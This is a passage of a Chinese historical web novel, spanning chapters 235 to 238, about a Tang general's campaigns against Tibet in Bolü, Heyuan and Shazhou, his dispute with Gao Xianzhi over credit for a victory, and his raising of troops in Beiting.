“大勃律王不要为难。”洛北温声道,“我本无意勃律之地,只是吐蕃以此为孔道,侵扰西域,几度绝我东西贸易之路,使我千百子民无有生计。我代天牧民,岂能不管?若你不愿把勃律国牵涉在内,这个条件我和他去谈。” 大勃律王摇了摇头:“小王奉命代为请降,安敢反对?只是请将军应我,若吐蕃退兵,将军也仿小勃律之例,在此留下一千骑兵。” “你担心吐蕃再打过来?”高仙芝听他们说吐蕃话听得颇为费劲儿,终于在译语人说完话后开口插嘴。 大勃律王苦笑道:“是。我愿请国中首长与我长子一同入长安观政,只求将军留兵一千。否则以我们大小勃律之能,吐蕃若是卷土重来,必遭灾殃。” “我知道了。”洛北漫不经心地颔首,“此事容后再议,请国王回报吐蕃主帅,不见到金银财宝,我是不会入城的。” 毫无疑问,这番言论传到尚·赞咄热耳中时,又是一阵鸡飞狗跳。尚·赞咄热怒不可遏:“战事还没有开始打,他就已经把自己看成胜者了。” 大勃律王忧心忡忡:“我听闻郡王昔年在突厥时,素有乐善好施,仁爱部众的声名。执政西域,执掌丝路数年以来,从未听说他对金银财宝有什么偏好,如今要我军辎重……这不是太奇怪了吗?” 尚·赞咄热笑道:“这有什么奇怪,他一路行来,路途遥远,士卒疲敝。大小勃律又多的是开城投降的,他总要拿些东西犒劳士兵们的辛苦。无妨,你就把你王室里的那些金银财宝都拿出来,堆他个几箱子。” 大勃律王没想到他竟能堂而皇之地说出这样的话,闻言不禁抬头:“这……吐蕃军中辎重,皆有印记,他岂能不知?” “他不会有机会知道的。”尚·赞咄热拍了拍大勃律王的脸,“别舍不得那点金银珠宝……脑袋和钱哪个更重要,我想你是明白的。” 一日之后,大勃律王再入唐营,向洛北递交两封降表。洛北单手接过,递给一边的军中书记: “加急发往朝中,向朝廷报捷。”他笑着抓过大勃律王的手腕:“国王若蒙不弃,与我一道入城如何?” 大勃律王哪敢与他并肩,闻言跪倒在地:“郡王折煞小王了。” “好吧。”他转身呼喊自己的下属,“叶若叶延,拔营,我们去城外接受吐蕃人的投降去!” 正午时分,贺萨劳城西门轰然洞开。百余名吐蕃贵胄皆俯首在地,为首者捧着象征投降的银鞘匕首,在地上膝行而前。 城头观战的尚·赞咄热嚼着薄荷叶,注意到唐军阵中果然出现骚动——城外那一箱箱金银财宝如此耀目,几乎把在场所有人的注意力都引了过去。 “点火。”他吐出叶渣。 河滩突然窜起数丈高的火墙!烈日曝晒下的芦苇瞬间化作烈焰,埋伏在淤泥中的吐蕃死士掀开伪装的草席,三百头角缚利刃的牦牛被火舌驱赶着冲向唐军。 这正是吐蕃“火牛冲阵”的杀招。 或许是直觉作祟,尚·赞咄热低头下望,恰好与洛北的那双金色的眼眸撞了个正着,出人意料的是,那双眼睛中没有惊慌、恐惧,甚至连自负和贪婪也没有,只有一片平静。 胸有惊雷,面如平湖的平静。 第235章 “这是《破阵乐》,唐人为他们的天可汗谱的凯旋之乐,如今他们正为那位年轻的乌特特勤奏响呢。” “竖橹盾!”洛北抬起手, 声音穿透了滚滚热浪。 唐军阵中突然推出三百具包铁木驴车,牦牛群撞上这些布满尖刺的移动堡垒,立刻混乱起来, 慌不择路地四向逃窜。不少牦牛撞在一起, 立刻燃起了滔天大火。 一众牦牛彻底失控,阵中披着湿毡的唐军以长矛引着发狂的牦牛调转方向。牦牛宛若火兽,一味向本阵奔突。埋伏在后的吐蕃后军阵型大乱,很多人连铠甲都来不及脱下,就四下奔逃, 混乱之间,竟有数十人坠下山崖。 尚·赞咄热呲目欲裂,忙命吐蕃军队关闭大门, 想要固守城门与唐军决战。可他的传令兵未到城下时,眉心已被利箭洞穿。 高仙芝的陌刀队如鬼魅般杀向城墙,他手中的陌刀划过弧线, 刀刃贴着吐蕃军人的脖颈切入, 刀光过处,竟似雪落无声。 "是山上,他们是从山间过来的!"尚·赞咄热失声惊叫。那片冰壁陡峭得很,几乎只有岩羊能够立足。如今此刻却垂着数十条浸油麻绳——这分明是不怕死的唐军留下的痕迹! 高仙芝带着部下穿着吐蕃军服, 口衔短刃,用钩索钩在城头上, 吐蕃哨兵尚未察觉,咽喉已绽开血花。 城墙上下都是唐军,身后是群山巍峨, 尚·赞咄热自知逃无可逃,在吐蕃武士护卫之下逃到城下, 拔刀在手,想要和洛北决个高下。 他凭借一腔勇气,在唐军阵中如入无人之境。未及杀到洛北跟前,已有一左一右两个少年拔马迎战,骨力裴罗与王训一执马槊一执弓箭,正面向其冲来。 马槊与弯刀相撞的刹那,骨力裴罗虎口迸裂,几乎握不住兵器。他想起几日在大帐议事时洛北婉婉道来的传闻: 传说尚·赞咄热天生神力,当年在青海湖畔曾徒手打死过一只发狂的狼。 少年急中生智侧身卸力,槊杆擦着吐蕃人的铁甲划出刺目火星,胯下战马却被刀锋扫中后蹄,惨嘶着滚倒在地。 “王训!”骨力裴罗在尘灰中翻身跃起,王训的羽箭已破空而至。尚·赞咄热挥刀格挡,下一支连珠箭已经正中他的左肩。 吐蕃武士的咆哮声震得城墙积雪簌簌而落。他双目赤红如血,竟以弯刀削去箭杆,欺身上前,继续与众人搏斗。 王训第三支箭尚未离弦,战马已经被周围围聚上来的吐蕃武士削断了马腿。他在地上打了滚,勉力射出最后一箭。 眼见羽箭飞来,尚·赞咄热立刻侧身要躲。 骨力裴罗抓住这须臾之机,弃槊抽刀欺身近战。唐横刀与吐蕃弯刀绞作一团,刀刃相咬处迸出的火星溅上了少年肩甲。 尚·赞咄热突然狞笑,左手暗藏的牛角匕首直取王训咽喉,却在半空被骨力裴罗的弯刀死死架住——他虎口已经裂开,正在汨汨地流着血,几乎染红了刀柄上的回纥部花纹。 “去!”骨力裴罗暴喝一声,他用尽全力,生生将尚·赞咄热的弯刀格飞出去。尚·赞咄热来不及反应,王训的横刀就刺穿了他身着的皮甲缝隙。 刀尖从吐蕃武士后心透出时,城外突然响起雷鸣般的欢呼——高仙芝已将唐军的赤色大旗插上了城楼,残存的吐蕃守军正将兵器抛下百丈悬崖。 正午时分,当唐军冲车撞开燃烧的城门时,尚·赞咄热的弯刀还供奉在降三世明王像前。只是这次,刀柄红宝石映出的不再是佛像金身,而是洛北战袍上未干的血迹。 “小王不识大国天威,助纣为虐,望郡王宽宥!”大勃律王跪倒在洛北脚边,语意恳切,浑身发抖,“我愿以合国财宝敬上,请郡王留我一条性命。” 洛北蹲下身,神情温和,语气却分外冰冷:“留你一条性命?可以,但自此之后,就没有什么大勃律国了。” 大勃律王呆呆地望着他,不知他这话是什么意思。 “我会改此地为绥远军,驻军三千。”洛北拎起他的领子,“而你,你要和你的家眷作为我的俘虏到长安去。” 大小勃律告破的消息传到青海前线时,慕容曦光和哥舒翰还在河源郡与吐蕃人激战。 他们在月余之前率军一路向西,趁着夜色拿下了河源郡。当时一切都很顺利,但吐蕃立刻还以颜色,在前线增兵万余,非要把此城拿回来不可。 “大唐要保心腹之关陇,要护卫沟通的丝路。吐蕃人想保留进入中原的前哨站。” 哥舒翰正和慕容曦光在城头巡视,望着下方如乌云压境的吐蕃军队,不由得感慨了一句,“这河源郡,咱们拿得容易,守起来可真难啊。” “现在最难的是没有援兵。朝廷将西北军队大半都压在了这里,吐蕃人也是一样。” 慕容曦光深深叹了口气,不过数月功夫,前线的生活已经让这位久在长安的年轻吐谷浑首领多出了不少白发: “你叔叔和我叔叔的兵力都被牵制着,吐蕃人若对我们形成合围,想要突围,可就难了。” 围绕此城,唐蕃两军已经作战数次,粮道、水源、后勤补给……每一次都激战数日,方得停歇。 到目前为止,唐军每一次都取得了胜利,吐蕃人既忌惮唐军悍不畏死,又担心唐军身后援军随时到达。 如今吐蕃把重兵都聚集在青海前线,齐头并进的几处唐军都受到吐蕃军队的牵制。 乞力徐再无后顾之忧,立刻命令军队增援,以求把河源郡围成一座孤城。 他们在一片愁云惨雾里抬头仰望,连日阴沉的天色不见一点好转: “真是怪异之象,还是六月底,就要下雪了吗?” 夜色降临时,狂风自山地之间呼啸而来。 吐蕃大营的篝火在深夜里被吹得明灭不定,牛皮帐篷上也凝起了白霜。 营帐之中,乞力徐握着鎏金酒樽的手微微发颤,羊皮战报在案几上摊开,烛光将“大小勃律俱失”几个血字映得忽明忽暗。帐外传来伤兵断续的呻吟,像是从地底钻出的冤魂在呜咽。 达扎恭禄突然抬脚踢翻了火盆,飞溅的炭星照亮他铁青的面庞: “十五年前伟大的赞普杜松芒波杰亲自把佩刀递给我的时候,可没教过我们像狐狸般夹尾而逃!”他身上的牦牛皮甲随着他激动的动作发出一阵声响:“河源城墙已现裂痕,只要再冲三次……” “然后唐人的军队就会自大小勃律进入逻些城,把伟大赞普杜松芒波杰的子孙也变成他们的俘虏。” 乞力徐的声音像冰河开裂,他抓起案上的青稞酒泼向地图。浑浊的酒液顺着羊皮卷蔓延,将吐蕃版图西侧染成深褐: “还有,就算他们不进入逻些城。没有了大小勃律,我们将会彻底失去控制西域,南下进入天竺的机会……少了丝路的财富和天竺的粮草,我们会怎么样?” 帐中诸将的呼吸突然粗重起来。有人盯着自己磨出血泡的手掌,有人反复摩挲腰间松石坠饰。达扎恭禄的副将刚想开口,突然被帐外刺耳的鸦鸣打断——有几只秃鹫正在营地上空盘旋,似乎是凶兆。 “你们听。”乞力徐掀开帐帘,寒风卷着远处唐军的战鼓声呼啸而入。那鼓点不似往日急促,倒像在敲击某种古老的节拍,“这是《破阵乐》,唐人为他们的天可汗谱的凯旋之乐,如今他们正为那位年轻的乌特特勤奏响呢。” 他深深地叹了口气,再度转身时,金丝镶边的披风在火光中划出冷冽而决绝的弧线:“传我的命令!焚毁攻城器械,黎明前撤退!” 当第一缕晨光爬上河源城墙时,哥舒翰的辫发正在朔风中乱舞。 他死死攥着箭垛上的冰棱,直到掌心渗出血珠:“曦光!曦光!你来看!吐蕃人的云车在冒烟!” “有诈!定是诱敌之计!” 慕容曦光点兵追出城外,看到原来是吐蕃营地的地方只留下一片荒芜的土地,只有地上的几个大坑,显示出此地曾经有人住宿的痕迹。 “首领,我们要追吗?!”他身边的吐谷浑子弟语意急切,“吐蕃人撤走,这是绝好的时机!” “不许妄动。”慕容曦光蹲下身,“你看这马蹄印如此整齐,说明吐蕃人是有序地撤走的……奇怪,难道是我军的援军来了?” 他回到城头时,正撞上行色匆匆的探马,那人一路飞驰,脚步惊飞了栖息的几只小鸟: “将军!碎叶郡王率军奇袭大小勃律成功了!” 话音未落,城头突然爆发出海啸般的欢呼。炊事营的老伙头扔了汤勺,抱着半袋胡饼又哭又笑,浑身缠着麻布的伤兵挣扎着爬向箭孔,非要亲眼看吐蕃人撤军的烟尘。 哥舒翰突然放声大笑,笑着笑着却呛出了眼泪。他解下沾满血污的明光铠,丢下城墙: “曦光你看!” 他指着东方初升的朝阳,沙哑的嗓音里带着一点难得的平静:“这光照着的不再是吐蕃人的军旗了!” 慕容曦光没有答话。这个带领部族子弟血战数月的年轻首领,此刻正将额头抵在冰冷的城墙砖上。 砖缝里还嵌着三日前吐蕃人射进来的箭镞,他的泪水浸透了石面上干涸的血迹。 第236章 “就像当年于阗城,你曾经指责过我的——袍泽的命,不该是垫脚石。” “想好了?” 大勃律王宫中的宴饮方才落下帷幕, 洛北已经同叶若和叶延走出殿外。他站在宫殿的高台上,四周寒风穿过山岭,如野兽般在耳边怒吼, 回头望向这两位战友时, 只有一句话。 叶若抢先答话:“是,想好了,我们兄弟本就出身吐谷浑部,颠沛流离已久,如今能掌一城一国之兵马, 已是荣幸之至。公子担心高山苦寒,大可不必。” 叶延比他温吞些,片刻后才温声道:“公子手下众人之中, 也就我和叶若最适合坐镇大小勃律。我们都曾戍守葱岭,对此地风物熟悉得很。公子要再另外派个人来,他们能干得成吗?” 洛北只笑了笑, 并没有立刻接话。他回头看向灯亮如昼的宴会厅中, 高仙芝还在同一众大小勃律中的长老、族长闹成一团,甚至下场跳起了高丽舞。 “高军使?他吃得起这个苦么?”叶若压低声音笑道。 他们俩笑作一团,洛北脸上却一点笑意也没有。他甚至目光灼灼地盯着高仙芝的背影,神情中带着一点如临大敌时才会有的冷峻和平静。 高仙芝还没有全醉, 他觉察到了这样的目光,立刻觉得汗毛倒竖, 回过头时,才看到是洛北在那里。 他的酒顿时清醒了一半。他小步快跑到洛北身后,躬身道礼:“大将军——” “我有样东西给你。”洛北从袖中拿出一封未拆的军报, 单手递到他手上。 高仙芝看着上面由他亲手封下的火漆,脸上已是一白, 一股子恐惧的冷感从脚底板一路攀升到脑袋,险些让他站不稳身子: “大将军这是从哪里来的?” 叶若叶延见势不妙,早已溜到不知什么地方去了。空荡荡的高台上只剩下洛北和高仙芝两个人。月色自群山之上升腾而起,静静地照着他们。 洛北转过头看他,目光澄明如月光:“你绕过我抢先给长安报功之时,就没有想过使者要走的路都在我安西都护府的道路上吗?他还没走出小勃律,这封信就已经被人发现了。” 高仙芝的酒彻底醒了,他那秀美的脸上忽而涌起一阵潮红:“大帅,我不是想” 呼啸的冷风里,他几乎抓不住那份军报,羊皮纸擦着他们俩的耳畔划过,在悬崖的狂风下被撕扯成碎片。 洛北轻轻叹息了一声,转过身去:“你我之间,就没有必要把话说得那么明白了吧?”他语调温和,说出的话却很不留情面:“当年在于阗,你曾经指责我贸然出兵突骑施是为了给自己博名利。如今你自己在做什么?当年在于阗和我一起治军的那个高仙芝哪去了?!” 高仙芝失神片刻,忽然低笑出声,脖颈间佩戴的项链随着肩颈抖动发出细碎鸣响: “大将军可知末将第一次见血的情形?十二岁,我随父亲征战,在勃达岭,我用冻僵的手刨出被雪埋的同袍,拿出他的腰牌时,看到他血痂黏在睫毛上——而您这个年纪在做什么?在长安城抱着兴昔亡可汗府邸里的波斯地毯打滚吧?” 洛北微微皱眉,转头来,目光带着一点审视,没有立刻开口说话。 “看看这里!”高仙芝突然抓住洛北手腕,力道大得要将洛北手上的皮护腕捏碎。 他拽着洛北指向灯火通明的宴厅,一众将领和大小勃律的贵胄们多半喝得酩酊大醉,有人甚至想用手中的金杯舀取金盘中倒映的月影,但他还未付诸实施,便一头栽倒在案台上。 “就算你不带兵来,我也一样能把唐军大旗插在这里!”高仙芝低声道:“但你还是来了所以我为自己报功就成了僭越,凭什么?” 他闭上眼,抬起头感受山间的大风呼啸,眼泪已经流满了整张面容。 洛北轻轻一抖手腕,拉开两人之间的距离,月光在高仙芝松开的指尖处裂成碎银,两人对峙的阴影被拉长在石阶上,仿佛两柄交错的长剑。 “就凭你军报里只字不提其他在青海前线的安西将领。” 洛北一双眼眸在月光下宛如流金,他声音平静: “吐蕃大论乞力徐、吐谷浑王子坌达延墀松,大将达扎恭禄……他们都是跟随过赞普杜松芒波杰征战的将军,也是主持吐蕃会盟的宰相。他们和吐蕃人的主力都在青海,而不在这里,所以我们才能赢得这么轻易。” 他把高仙芝拽到悬崖边缘,万丈深渊的罡风卷起他们的衣袍,远处雪山在月光下泛着森森冷光: “你不是不知道吧?薛讷与郭知运率部连破乌兰部十二城,打了个吐蕃人措手不及。慕容曦光和哥舒翰死守河源郡,不惜折损了三成兵马……” 高仙芝的睫毛在风中颤动如垂死的蝶翼,方才的气势突然委顿下来。 他望着深渊里浮动的雾气,仿佛看到十二岁那年勃达岭的雪雾中,自己同袍那张冻成青紫色的脸。 “这军功,他们都应该有份。”洛北的声音突然掺进几缕沙哑,“就像当年于阗城,你曾经指责过我的——袍泽的命,不该是垫脚石。” 高仙芝浑身一震,腰间玉带扣撞在石栏上发出清响。 他看见雾气里浮现出不到二十岁的洛北那张少年的面容,神情冷峻一如今日:“要是光靠请罪就能统领军队的话,我还不如去城中的佛寺请座菩萨来坐你的位置!” “大帅要如何处置末将?”他终于垂下头颅,脖颈间吐蕃风格的黄金项圈却仍倔强地泛着冷光。 洛北松开手:“回长安。青海吐谷浑旧地俱复,曦光是要长留在这里的。他曾经任职的左羽林卫还缺个中郎将。” 高仙芝笑了,他的笑声惊起远处山崖间栖息的雪鸮。他抚摸着腰间的于阗玉带,这是多年前洛北在他生辰所赠,那时他们还在于阗共事—— 此时此刻,这玉带却像道枷锁般灼手。 “末将愿回长安。” 洛北静立良久,久久不语,直到高仙芝要走时,才解下自己身上的玄狐大氅扔过去: “大小勃律之战,你有登先之功,我也相信,你独自带兵来也能攻下此城。” “但战争永远只是开始。”洛北声音悠远:“如何处理后续的统治,才是你我真正要解决的问题。” 高仙芝张了张口,正要说什么,洛北已经转身回王宫中去了。走入那片灯红酒绿之前,他忽而顿住脚步,回头道: “对了,我十二岁的时候,在草原上,给一个叫阿史德元珍的突厥贵胄当放羊的奴隶。” 黎明前的黑暗最浓时,王宫马厩传来蹄铁叩击石板的声音。高仙芝带着三十轻骑悄然东去,马队经过悬崖时,他看见朝阳正从洛北驻军的营地方向升起。 洛北在大小勃律一直待到这年夏末—— 他见过了大小勃律近乎全部的头人和城主,带着他们共同会盟,向唐廷宣誓效忠。他帮助大小勃律的农民用镰刀割麦,用铁犁犁地 最后,在一切欣欣向荣之前,他改大勃律为绥远军,任命叶若为绥远军使,又任命叶延为月氏都督府副都督,分了吐火罗国相捺塞的兵权给他——国相已经迈入了六十岁的关口,无法再像多年前那样拼杀在一线了。 秋阳将昆仑山的雪冠染成金红时,洛北终于望见了玉河河水蜿蜒的波光。 于阗城头,唐军大旗在风中舒展,城垛间飘来新麦烘焙的焦香。守城士卒远远望见玄色军旗,城头顿时响起十二声画角,惊起成群的灰斑鸠掠过金黄的胡杨林。 城门洞开时,洛北的靴底碾碎了几粒遗落的石榴籽。紫红的汁液在黄土上洇开,像极了当年他在此地的那家酒肆里没喝上的葡萄酒。 街道两侧的葡萄架已褪去青翠,沉甸甸的果串压弯藤蔓,粟特商人支起的彩绸帐篷下,龟兹乐工正调试着凤首箜篌。 头缠白布的波斯商人牵着双峰驼,驼峰间满载着大食琉璃瓶;粟特少年肩扛成捆的安西棉,彩线在阳光下泛着特有的莹润;更有天竺僧侣捧着贝叶经卷,朱砂写就的梵文与市肆间悬挂的唐文幌子交相辉映。 昔年的王子尉迟胜已经做了于阗国王,头上的金色冠冕在阳光下闪着光。他带着所有臣工出城亲自迎接归来的唐军战士们,他们在街市间穿过,来到灯火通明的王宫之中,佳肴已经摆了一厅,让人眼花缭乱。 看着他们走入,于阗国王打了个手势,命乐班奏起了祝酒歌。 喧闹的祝酒歌响起第三回,在宴会里转了好几圈的尉迟胜笑着举起错金叵罗,凑近洛北道: “当年我与将军共饮的时候,可从没有曾料到过今日光景。” 他提起昔年“带着乌特特勤去拜谒乌特特勤的往事”,脸上一派忍俊不禁: “将军竟没有在那座寺庙里当场笑出声来,可见指挥千军万马的人,到底和我们这些俗人不同。” 洛北难得脸红,似乎觉得是酒水醉人,他低头看了一眼酒杯:“昔年旧事不要再提了,来,干。” 这夜的酒喝得连他自己都有点不胜酒力,还是王训把他扶到了房中休息。 入夜之后,于阗王宫安静得几乎能听到猫咪跳到地上的声音。洛北在一片黑夜里睁着眼睛望了望帘幕低垂的房间深处: “你是要我走过去,还是自己出来?” 第237章 “如今这片草原上只有一个汗国,一个大汗了。” 下一刻, 从帘幕里走出一个年轻的女郎。一张芙蓉粉面,温婉的眉眼带着笑意,不是褚沅又是谁? “有时候我也会怀疑阿兄是否真的能看破一切呢。” 洛北也轻轻笑了, 他看到褚沅袖间沾染的墨迹和单手抱着的文册:“你来于阗看今年的秋收和商税?” 褚沅颔首:“是, 今年是个好年头,各地都是大丰收,我已经命人下去以去年市价的九折收购粮食,入公仓储存,以备饥备荒。” “也是平抑粮价, 使谷丰不伤农,是么?”洛北笑道,“裴伷先的本事, 你算是学到了十一分。” “十一分?”褚沅歪了歪脑袋,发间簪的竹节玉簪在秋夜的月色里沁出温润的色泽,“多的那一分是什么?” “不炫耀。”洛北一本正经地道, 可很快便绷不住笑意, 开始低声笑了起来。 褚沅也被他带得笑了,不过很快她就察觉到一点不对劲,洛北声音里带着一点难以察觉的咳嗽声,若不是此夜极静, 便几不可闻。 她的笑意蓦地凝在唇边。她上前半步,想要借着檐角垂落的灯笼细看。洛北却已经挥了挥手: “别紧张, 只是一点从雪山上带下来的风寒。回到平地上,多休息休息也就好了。” 褚沅只得替他掖了掖被角:“阿兄可不能拿自己的身体开玩笑……我去找郎中。” “现在不行。”洛北摇了摇头,“青海前线还没有决胜负, 如果我病了的消息传出去,不知道吐蕃人还要掀起怎么样的风浪。实在不行, 明日我自己开一副方子来,总可以了吧?” “阿兄这样的医道大家,偏拿这样的话来搪塞我。我不知道‘医者不自医’的道理么?”褚沅嗔了一句,“罢了,我不打扰了,阿兄早些休息为好。” 她灵巧地道了个万福,正要转身出门,洛北却轻轻叩了叩床榻:“等一等,沅儿,你还没有告诉我到底出了什么事儿呢?” 褚沅顿住步子,有些惊讶地转过身来:“阿兄……” “你是为的公务来的于阗,本来不知道我今日会到。漏夜出现在这里必是有要事要和我商议。”洛北道,“说吧,我还没有醉到不能视事的地步。” “阿兄这性子可真是让人担忧。”褚沅拗不过他,只得走到他榻边,自一叠叠公文和图纸之中抽出一张波斯语的字条: “我从认识的祆教祭司那里拿到的消息,大食宰相哈贾吉病逝了。不过,哈里发韦立德仍在,并且短时间内没有撕毁和议,支持东征的想法。只是……” 她看到洛北陷入一片沉思之中,刻意放缓了话语: “只是哈里发韦立德之位,本就是靠了哈贾吉的支持才能坐稳。如今哈贾吉去世,只怕大食又要陷入一片内斗之中。” 秋夜的风掠过于阗王宫九曲回廊,将波斯地毯上的金线吹得粼粼波动。洛北被这光影吸引了目光,才从自己的沉思中醒来: “大食政局变化多端,对我们来说实在是尴尬……等吐蕃战事结束之后,我们一定要抽些时间想想办法。对了,你应当不止这一件事情要和我说吧?” 他这话并不真的在询问褚沅,只是在说出自己的判断。 褚沅眉眼微微一低,露出一点深切的无奈:“还有,撤军的吐蕃大将达扎恭禄与大论乞力徐大吵一架之后率兵向北,恐怕会袭击我河西地带。” 洛北坐起身,自床头拿出随身的地图,指尖重重划过地图上祁连山北麓的褶皱和沙漠: “达扎恭禄这是要行险棋……他越过祁连山,或劫掠商队,或攻我沙州、瓜州断我大军粮草转运之路。但问题是。这路途何等遥远,又到了秋末,他难道不考虑补给问题?” 褚沅将烛台挪近些,山峦的阴影在牛皮地图上起伏:“斥候报说他们拆了毡帐煮食,用吐蕃旧法将青稞粉揉成糌粑吃……” “这是要轻骑突袭。”洛北突然咳嗽起来,手背青筋暴起,却仍死死扣住地图边沿,“达扎恭禄在青海没打几仗就被我们搅得满盘皆输,他是把自己和将士们都压上棋盘豪赌了。” 他叹息一声:“此去艰险,他军中十个人里只能有五六个活下来,他要稳住军队不哗变,只能着力宣传河西的富饶,大概还许了他们战后可以肆意屠戮。” 月光穿过龟兹风格的莲花窗棂,在褚沅眉间投下细碎光斑。她伸手点在沙州位置: “阿兄,沙州、瓜州可不在你这位碛西镇守使的职责之内啊。贸然出手,朝廷那里……” “郭知运还在青海前线,要是调他带兵回去,只怕只来得及赶得上吐蕃人屠城的大火。”他转头看向褚沅,“你代我上表给朝廷,请朝廷准许我在河西便宜行事。” 褚沅苦笑了一声:“阿兄,这任命朝廷不会发的……” 碛西镇守使已经总领了安西北庭,若再允许洛北在河西便宜行事,朝廷还不如干脆封他个“天下兵马大元帅”得了。 窗外忽然传来脚步轻响,两人同时望向描金门扉。褚沅迅速将波斯语密信塞进袖中,洛北却已掀被下榻,苍白的脚掌直接踩在冰凉的石榴纹地砖上。 “阿兄!”褚沅急得连发簪都险些晃掉在地上,“你的病!” “我的性命不比瓜州和沙州的数万军民更高贵。这个时候,我们反应快一步,就能打吐蕃人一个措手不及。”洛北扯过床头的墨色大氅,指节敲在沙州城的标记上,“沙州和瓜州俱是河西重镇,人口充足,屯田极多。朝廷发给安西北庭的粮草,安西北庭转运到朝廷的东西,都在那里聚集。一旦城破,后果不堪设想。” 褚沅放弃和他争辩,开口问道:“那阿兄打算怎么做?如今安西兵马多在吐蕃前线,你的亲军又刚从大小勃律回来,舟车劳顿,恐怕不是明智之举吧?” “你莫要忘了,我这西突厥大汗的名号是从何袭来的。”洛北轻轻摇了摇手指,“北庭故地有我家数万部族,征召出一支弓马娴熟的军队还是不成问题的。” 一切正如洛北所料,当他的卫队举起象征乌特特勤的飞鹰旗与狼头纛一起出现在北庭都护府的草原上时,成千上万的牧民自四面八方赶来响应“伟大的阿史那乌特”的号召。 褚沅捧着登记册的手顿了一顿,她看着这些桀骜的草原雄鹰此刻温顺如羔羊,将象征忠诚的弯刀高举过头顶。 洛北掀开帘帐望了一眼:“人太多了,这样的帐,军人数量是贵精不贵多。浑释之!” 正在当值的少年人一把藏起自己手中刚出炉的馕饼:“请,请大汗吩咐。” “你和你的卫队兄弟们分别去通知各部子们,叫他们不要再往此聚集。另外,通知帐外等候的所有人,我会下令自他们之中选出来一部分人出征!没选上的,发路费回家。” 浑释之动作不算太慢,第三日起,草原上的帐篷就陆续减少。但洛北王帐前的人没有减少。 有人在他们面前显摆自己的骑射功夫,有人献上成群的牛羊,只为争取一个同去的机会。 最引人注意的还是个白发苍苍的老者,他跪倒在洛北的王帐之外,声称自己最大的梦想就是加入一场阿史那乌特征召的战争,为他效死,而后如愿殒命在战火之中,请大汗无论如何允许他的乞求。 骨力裴罗看得心有戚戚:“我老了之后,大概也会这样跪倒在一位传奇英雄的帐外,求他带自己出征吧。” 王训看了他一眼:“你这话是什么意思?” “我们草原的风俗如此,荣战死,耻病亡。大丈夫就应当征战四方,马革裹尸,白头活在人间,算什么英雄?” “说得好,小狼崽子。”有人大笑着掀开帘帐而入,拍了一把他的肩膀,“我也赞成!” 这人力气极大,一掌拍下去,疼得骨力裴罗呲牙咧嘴。他回头正要说话,却不由得眼前一亮:“阿阙将军!” 洛北也不自觉地神情一松,面容却严正起来:“你怎么到北庭来了?” “听说伟大的乌特特勤正在征召军队,我就带着自己的亲兵和卫队来了。” 洛北环视帐中,深觉这里不是一个说话之所,只得把阙特勤叫出去,压低了声音问他:“带兵私越国境,你不怕出事?” “这有什么好怕的。北庭不是你的地盘么?”阙特勤摊开双手,双目带笑:“再说了,我也不算是越过了国境吧?” “你这话是什么意思?”洛北微微皱眉。 “我兄默矩已经自去可汗尊号,自称为小设。如今这片草原上只有一个汗国,一个大汗了。”阙特勤笑着看他,眉宇间一片诚挚:“明天春天,他会奏请大唐朝廷,请大唐准许他一道去金山拜山。” 王帐外的风忽而变得有些尖锐,洛北下意识地望向空中飞扬的飞鹰旗,东西突厥分裂百余年之后,竟以这样的方式再度合并……连他自己也未料到。 “所以我只能算是动用本部兵马为草原共同的大汗征战。”阙特勤笑道,“我说,你该给自己想个尊号了。” 洛北摇了摇头,他还未开口,马蹄声已将这对话截断,使者为他们送来最新的军情,达扎恭禄的前锋已经到了祁连山下,即将开始翻越山口。 第238章 弓弦震颤的刹那,洛北微微侧头,羽箭擦着他耳侧飞了过去,留下一道细不可见的血痕。 残月如钩, 悬在鸣沙山嶙峋的脊线上。玉门军使盖嘉运在梦中猛然惊醒时,城外白草正簌簌震颤。 到了隆熙二年,盖嘉运已经从军二十一年了。他出身并不显赫, 如今能到这四品的玉门军使位置上, 全凭自己一场场战阵里拼杀出来的功劳。 他自梦中惊醒,穿衣起身,取下帐中挂的横刀放在膝盖上:“别被那索老头说中了,吐蕃崽子们真的来了。” “将军!狼烟!”亲兵撞进他房中,铠甲上的薄霜簌簌而落。 盖嘉运抓起横刀冲出辕门, 但见东南烽燧腾起三道赤焰,刺破浓墨般的夜色——是吐蕃人来夜袭了。 寒风裹挟着血腥味扑面而来。沙州城头已然亮起成片的灯笼与火把,火光亮如白昼, 正好照出吐蕃前锋的帽缨。那是黑压压的一片里的红色,在暗夜里飘忽如鬼魅。 盖嘉运登上城墙,掌心摸到的城墙夯土上已有了冰霜。远处传来牦牛铃铛的声响, 混杂着铁器相击的铮鸣。成千上百的羽箭如雨点般侵袭而下, 掩护着吐蕃人的步兵来到城下架设云梯。 “檑木!”盖嘉运高声呼喊。 城墙上戍守的士兵们合力抱起檑木向下扔去,重物沉闷的撞击声与惨叫声顿时连成一片。偶有悍不畏死的吐蕃人跳上城头,也很快在士兵们的奋力抵挡之间败下阵去。 吐蕃人似乎只是试探,第一批云梯皆被推下之后便下令后撤。盖嘉运一把举起城头的一面唐军大旗, 高声喊道: “击鼓!骑兵列阵!” 城楼上数面大鼓一起鸣响,声音震天动地。玉门军是河西诸军中马匹最多者随着战鼓轰鸣, 唐军三百骑兵自瓮城鱼贯而出,明光铠在火光中流转着冷冽的银辉。 盖嘉运拿过鼓槌,亲自为骑兵击鼓鼓阵。两军轰然相撞, 唐军马槊如林,吐蕃人抵挡不及, 阵型顿时一乱。 唐军怎肯放过这个机会? 盖嘉运鼓声之下,唐军骑兵如利刃一般穿梭敌阵,不少吐蕃人在这混乱之中无处奔逃,就地投降做了唐军的俘虏。 寅时三刻,当最后一名辫发武士放下自己手中的兵刃,站在城楼上的盖嘉运却听见地底传来闷雷般的震动。 晨光初现的天际线上,黑压压的吐蕃大军正如蚁群漫过沙丘,锁子甲映着朝阳泛起血色。他握刀的手微微发颤——眼前的军队规模在玉门军的数倍以上。 吐蕃主帅达扎恭禄高踞在战马之上,目光死死地盯着眼前的沙州城。沙州是大唐通往西域的最后一道门户,也是唐人聚集的富贵之乡,若攻陷此地,吐蕃人在青海、大小勃律所受的耻辱都将一笔勾销。 唐人引以为傲的丝路将断为两截——困守西域的碛西军队会成为他的手下败将。 “把那东西抬出来,给咱们的唐人朋友们看看。”他低声对自己的部下令道。 盖嘉运神情一动:“弓箭手准备!” 十来架的弩箭被抬到了沙州城楼前二百余步的距离,盖嘉运见势不对,连忙下令放箭,可一轮箭雨过后,唐军的羽箭几乎只能摸到它的边缘,倒是有数个搬运弩箭的奴隶倒了地,他们很快被操作弩箭的贵胄们踢到一边,鲜血染红了一片结着白霜的土地。 